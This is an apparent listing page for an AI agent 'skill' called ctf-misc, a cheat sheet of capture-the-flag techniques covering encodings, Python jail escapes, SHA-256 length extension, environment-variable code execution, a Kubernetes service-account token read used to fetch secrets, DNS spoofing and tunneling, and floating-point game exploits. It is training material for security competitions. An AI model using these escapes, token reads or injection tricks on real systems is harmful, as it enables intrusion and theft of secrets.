ctf-misc

Original：🇺🇸 English

Translated

Miscellaneous CTF challenge techniques. Use for encoding puzzles, RF/SDR signal processing, Python/bash jails, DNS exploitation, unicode steganography, floating-point tricks, or challenges that don't fit other categories.

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Sourceljagiello/ctf-skills

Added on2026-02-07

NPX Install

npx skill4agent add ljagiello/ctf-skills ctf-misc

SKILL.md Content

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CTF Miscellaneous

Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details.

Additional Resources

pyjails.md - Python jail/sandbox escape techniques
bashjails.md - Bash jail/restricted shell escape techniques
encodings.md - Encodings, QR codes, audio, esolangs, SHA-256 length extension, UTF-16 tricks
rf-sdr.md - RF/SDR/IQ signal processing (QAM-16, carrier recovery, timing sync)
dns.md - DNS exploitation (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling)
games-and-vms.md - WASM patching, PyInstaller, marshal, Python env RCE, Z3, K8s RBAC

General Tips

Read all provided files carefully
Check file metadata, hidden content, encoding
Power Automate scripts may hide API calls
Use binary search when guessing multiple answers

Common Encodings

bash

# Base64
echo "encoded" | base64 -d

# Base32 (A-Z2-7=)
echo "OBUWG32D..." | base32 -d

# Hex
echo "68656c6c6f" | xxd -r -p

# ROT13
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'

Identify by charset:

Base64:
```
A-Za-z0-9+/=
```
Base32:
```
A-Z2-7=
```
(no lowercase)
Hex:
```
0-9a-fA-F
```

See encodings.md for Caesar brute force, URL encoding, and full details.

IEEE-754 Float Encoding (Data Hiding)

Pattern (Floating): Numbers are float32 values hiding raw bytes.

Key insight: A 32-bit float is just 4 bytes interpreted as a number. Reinterpret as raw bytes -> ASCII.

python

import struct
floats = [1.234e5, -3.456e-7, ...]  # Whatever the challenge gives
flag = b''
for f in floats:
    flag += struct.pack('>f', f)
print(flag.decode())

Variations: Double

'>d'

, little-endian

'<f'

, mixed. See encodings.md for CyberChef recipe.

USB Mouse PCAP Reconstruction

Pattern (Hunt and Peck): USB HID mouse traffic captures on-screen keyboard typing.

Workflow:

Open PCAP in Wireshark -- identify USBPcap with HID interrupt transfers
Identify device (Device Descriptor -> manufacturer/product)

Use USB-Mouse-Pcap-Visualizer:

github.com/WangYihang/USB-Mouse-Pcap-Visualizer

Extract click coordinates (falling edges of
```
left_button_holding
```
)
Plot clicks on scatter plot with matplotlib
Overlay on image of Windows On-Screen Keyboard
Animate clicks in order to read typed text

Key details:

Mouse reports relative coordinates (deltas), not absolute
Cumulative sum of deltas gives position track
Rising/falling edges of button state = click start/end
Need to scale/stretch overlay to match OSK layout

python

import pandas as pd
import matplotlib.pyplot as plt

df = pd.read_csv('mouse_data.csv')
# Find click positions (falling edges)
clicks = df[df['left_button_holding'].shift(1) == True & (df['left_button_holding'] == False)]
# Cumulative position from relative deltas
x_pos = df['x'].cumsum()
y_pos = df['y'].cumsum()
# Plot clicks over OSK image
plt.scatter(click_x, click_y, c='red', s=50)

File Type Detection

bash

file unknown_file
xxd unknown_file | head
binwalk unknown_file

Archive Extraction

bash

7z x archive.7z           # Universal
tar -xzf archive.tar.gz   # Gzip
tar -xjf archive.tar.bz2  # Bzip2
tar -xJf archive.tar.xz   # XZ

Nested Archive Script

bash

while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
    7z x -y "$f" && rm "$f"
done

QR Codes

bash

zbarimg qrcode.png       # Decode
qrencode -o out.png "data"

See encodings.md for QR structure, repair techniques, and chunk reassembly.

Audio Challenges

bash

sox audio.wav -n spectrogram  # Visual data
qsstv                          # SSTV decoder

RF / SDR / IQ Signal Processing

See rf-sdr.md for full details (IQ formats, QAM-16 demod, carrier/timing recovery).

Quick reference:

cf32:
```
np.fromfile(path, dtype=np.complex64)
```
| cs16: int16 reshape(-1,2) | cu8: RTL-SDR raw
Circles in constellation = frequency offset; Spirals = offset + time-varying phase
4-fold ambiguity in DD carrier recovery - try 0/90/180/270 rotation

pwntools Interaction

python

from pwn import *

r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()

Python Jail Quick Reference

Enumerate functions:

python

for c in string.printable:
    result = test(f"{c}()")
    if "error" not in result.lower():
        print(f"Found: {c}()")

Oracle pattern (L, Q, S functions):

python

flag_len = int(test("L()"))
for i in range(flag_len):
    for c in range(32, 127):
        if query(i, c) == 0:
            flag += chr(c)
            break

Bypass character restrictions:

python

# Walrus operator
(abcdef := "new_allowed_chars")

# Octal escapes
'\141' = 'a'

Decorator bypass (ast.Call banned, no quotes, no
=
):

python

# Decorators = function calls + assignment without ast.Call or =
# function.__name__ = strings without quotes
# See pyjails.md "Decorator-Based Escape" for full technique
@__import__
@func.__class__.__dict__[__name__.__name__].__get__  # name extractor
def os():
    0
# Result: os = __import__("os")

String join bypass (
+
blocked):

open(''.join(['fl','ag.txt'])).read()

-- see pyjails.md for more.

Z3 Constraint Solving

python

from z3 import *

flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
s.add(flag[0] == ord('f'))  # Known prefix
# Add constraints...
if s.check() == sat:
    print(bytes([s.model()[f].as_long() for f in flag]))

See games-and-vms.md for YARA rules with Z3 and type systems as constraints.

Hash Identification

By constants:

MD5:
```
0x67452301
```
SHA-256:
```
0x6a09e667
```
MurmurHash64A:
```
0xC6A4A7935BD1E995
```

SHA-256 Length Extension Attack

Pattern: MAC =

SHA-256(SECRET || message)

with known message and hash. Forge valid MAC without knowing SECRET.

python

import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)
new_hash = sha.hexdigest()

Vulnerable: SHA-256, MD5, SHA-1. NOT vulnerable: HMAC, SHA-3. See encodings.md for full attack steps.

PyInstaller Extraction

bash

python pyinstxtractor.py packed.exe
# Look in packed.exe_extracted/

See games-and-vms.md for opcode remapping and marshal analysis.

Marshal Code Analysis

python

import marshal, dis
with open('file.bin', 'rb') as f:
    code = marshal.load(f)
dis.dis(code)

Python Environment RCE

bash

PYTHONWARNINGS=ignore::antigravity.Foo::0
BROWSER="/bin/sh -c 'cat /flag' %s"

See games-and-vms.md for other dangerous env vars and full explanation.

WASM Game Exploitation via Patching

Pattern: Game with unbeatable AI in WASM. Patch minimax to play badly, proofs still validate.

bash

wasm2wat main.wasm -o main.wat
# Flip bestScore init and comparison operator
wat2wasm main.wat -o main_patched.wasm

See games-and-vms.md for full exploitation code and JS integration.

Floating-Point Precision Exploitation

Pattern (Spare Me Some Change): Trading/economy games where large multipliers amplify tiny floating-point errors.

Key insight: When decimal values (0.01-0.99) are multiplied by large numbers (e.g., 1e15), floating-point representation errors create fractional remainders that can be exploited.

Finding Exploitable Values

python

mult = 1000000000000000  # 10^15

# Find values where multiplication creates useful fractional errors
for i in range(1, 100):
    x = i / 100.0
    result = x * mult
    frac = result - int(result)
    if frac > 0:
        print(f'x={x}: {result} (fraction={frac})')

# Common values with positive fractions:
# 0.07 -> 70000000000000.0078125
# 0.14 -> 140000000000000.015625
# 0.27 -> 270000000000000.03125
# 0.56 -> 560000000000000.0625

Exploitation Strategy

Identify the constraint: Need
```
balance >= price
```
AND
```
inventory >= fee
```
Find favorable FP error: Value where
```
x * mult
```
has positive fraction
Key trick: Sell the INTEGER part of inventory, keeping the fractional "free money"

Example (time-travel trading game):

Initial: balance=5.00, inventory=0.00, flag_price=5.00, fee=0.05
Multiplier: 1e15 (time travel)

# Buy 0.56, travel through time:
balance = (5.0 - 0.56) * 1e15 = 4439999999999999.5
inventory = 0.56 * 1e15 = 560000000000000.0625

# Sell exactly 560000000000000 (integer part):
balance = 4439999999999999.5 + 560000000000000 = 5000000000000000.0 (FP rounds!)
inventory = 560000000000000.0625 - 560000000000000 = 0.0625 > 0.05 fee

# Now: balance >= flag_price AND inventory >= fee

Why It Works

Float64 has ~15-16 significant digits precision
```
(5.0 - 0.56) * 1e15
```
loses precision -> rounds to exact 5e15 when added
```
0.56 * 1e15
```
keeps the 0.0625 fraction as "free inventory"
The asymmetric rounding gives you slightly more total value than you started with

Red Flags in Challenges

"Time travel amplifies everything" (large multipliers)
Trading games with buy/sell + special actions
Decimal currency with fees or thresholds
"No decimals allowed" after certain operations (forces integer transactions)
Starting values that seem impossible to win with normal math

Quick Test Script

python

def find_exploit(mult, balance_needed, inventory_needed):
    """Find x where selling int(x*mult) gives balance>=needed with inv>=needed"""
    for i in range(1, 500):
        x = i / 100.0
        if x >= 5.0:  # Can't buy more than balance
            break
        inv_after = x * mult
        bal_after = (5.0 - x) * mult

        # Sell integer part of inventory
        sell = int(inv_after)
        final_bal = bal_after + sell
        final_inv = inv_after - sell

        if final_bal >= balance_needed and final_inv >= inventory_needed:
            print(f'EXPLOIT: buy {x}, sell {sell}')
            print(f'  final_balance={final_bal}, final_inventory={final_inv}')
            return x
    return None

# Example usage:
find_exploit(1e15, 5e15, 0.05)  # Returns 0.56

Kubernetes RBAC Bypass

Pattern (CTFaaS): Container deployer with claimed ServiceAccount isolation.

Attack chain: Deploy probe -> read SA token -> impersonate deployer -> hostPath mount -> extract kubeconfig -> read secrets.

bash

# From inside pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/hidden/secrets/flag

See games-and-vms.md for full attack chain and K8s privilege escalation checklist.

3D Printer Video Nozzle Tracking (LACTF 2026)

Pattern (flag-irl): Video of 3D printer fabricating nameplate. Flag is the printed text.

Technique: Track nozzle X/Y positions from video frames, filter for print moves (top/text layer only), plot 2D histogram to reveal letter shapes:

python

# 1. Identify text layer frames (e.g., frames 26100-28350)
# 2. Track print head X position (physical X-axis)
# 3. Track bed X position (physical Y-axis from camera angle)
# 4. Filter for moves with extrusion (head moving while printing)
# 5. Plot as 2D scatter/histogram -> letters appear

Useful One-Liners

bash

grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"

Keyboard Shift Cipher

Pattern (Frenzy): Characters shifted left/right on QWERTY keyboard layout.

Identification: dCode Cipher Identifier suggests "Keyboard Shift Cipher"

Decoding: Use dCode Keyboard Shift Cipher with automatic mode.

Pigpen / Masonic Cipher

Pattern (Working For Peanuts): Geometric symbols representing letters based on grid positions.

Identification: Angular/geometric symbols, challenge references "Peanuts" comic (Charlie Brown), "dusty looking crypto"

Decoding: Map symbols to Pigpen grid positions, or use online decoder.

ASCII in Numeric Data Columns

Pattern (Cooked Books): CSV/spreadsheet numeric values (48-126) are ASCII character codes.

python

import csv
with open('data.csv') as f:
    reader = csv.DictReader(f)
    flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)

CyberChef: "From Decimal" recipe with line feed delimiter.

Backdoor Detection in Source Code

Pattern (Rear Hatch): Hidden command prefix triggers

system()

call.

Common patterns:

strncmp(input, "exec:", 5)

-> runs

system(input + 5)

Hex-encoded comparison strings:
```
\x65\x78\x65\x63\x3a
```
= "exec:"
Hidden conditions in maintenance/admin functions

DNS Exploitation Techniques

See dns.md for full details (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling).

Quick reference:

ECS spoofing:

dig @server flag.example.com TXT +subnet=10.13.37.1/24

- try leet-speak IPs (1337)

NSEC walking: Follow NSEC chain to enumerate DNSSEC zones
IXFR:
```
dig @server domain IXFR=0
```
when AXFR is blocked
DNS rebinding: Low-TTL alternating resolution to bypass same-origin
DNS tunneling: Data exfiltrated via subdomain queries or TXT responses

Unicode Steganography

Variation Selectors (U+FE00-U+FE0F)

Pattern (Seen, Nullcon 2026): Zero-width variation selectors carry data through codepoint values.

python

# Extract hidden data from variation selectors after visible emoji
data = open('README.md', 'r').read().strip()
hidden = data[1:]  # Skip visible emoji character
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)

Variation Selectors Supplement (U+E0100-U+E01EF)

Pattern (emoji, Nullcon 2026): Characters from Variation Selectors Supplement encode ASCII.

python

# Formula: ASCII value = (codepoint - 0xE0100) + 16
flag = ''
for c in hidden_chars:
    val = (ord(c) - 0xE0100) + 16
    flag += chr(val)

Detection: Characters appear invisible but have non-zero length. Check with

[hex(ord(c)) for c in text]

-- look for codepoints in

0xE0100-0xE01EF

0xFE00-0xFE0F

range.

UTF-16 Endianness Reversal

Pattern (endians): Text "turned to Japanese" -- mojibake from UTF-16 endianness mismatch.

python

# If encoded as UTF-16-LE but decoded as UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')

Identification: CJK characters, challenge mentions "translation" or "endian". See encodings.md for details.

Cipher Identification Workflow

ROT13 - Challenge mentions "ROT", text looks like garbled English
Base64 -
```
A-Za-z0-9+/=
```
, title hints "64"
Base32 -
```
A-Z2-7=
```
uppercase only
Atbash - Title hints (Abash/Atbash), preserves spaces, 1:1 substitution
Pigpen - Geometric symbols on grid
Keyboard Shift - Text looks like adjacent keys pressed
Substitution - Frequency analysis applicable

Auto-identify: dCode Cipher Identifier

ctf-misc

NPX Install

Tags

SKILL.md Content

CTF Miscellaneous

Additional Resources

General Tips

Common Encodings

IEEE-754 Float Encoding (Data Hiding)

USB Mouse PCAP Reconstruction

File Type Detection

Archive Extraction

Nested Archive Script

QR Codes

Audio Challenges

RF / SDR / IQ Signal Processing

pwntools Interaction

Python Jail Quick Reference

Z3 Constraint Solving

Hash Identification

SHA-256 Length Extension Attack

PyInstaller Extraction

Marshal Code Analysis

Python Environment RCE

WASM Game Exploitation via Patching

Floating-Point Precision Exploitation

Finding Exploitable Values

Exploitation Strategy

Why It Works

Red Flags in Challenges

Quick Test Script

Kubernetes RBAC Bypass

3D Printer Video Nozzle Tracking (LACTF 2026)

Useful One-Liners

Keyboard Shift Cipher

Pigpen / Masonic Cipher

ASCII in Numeric Data Columns

Backdoor Detection in Source Code

DNS Exploitation Techniques

Unicode Steganography

Variation Selectors (U+FE00-U+FE0F)

Variation Selectors Supplement (U+E0100-U+E01EF)

UTF-16 Endianness Reversal

Cipher Identification Workflow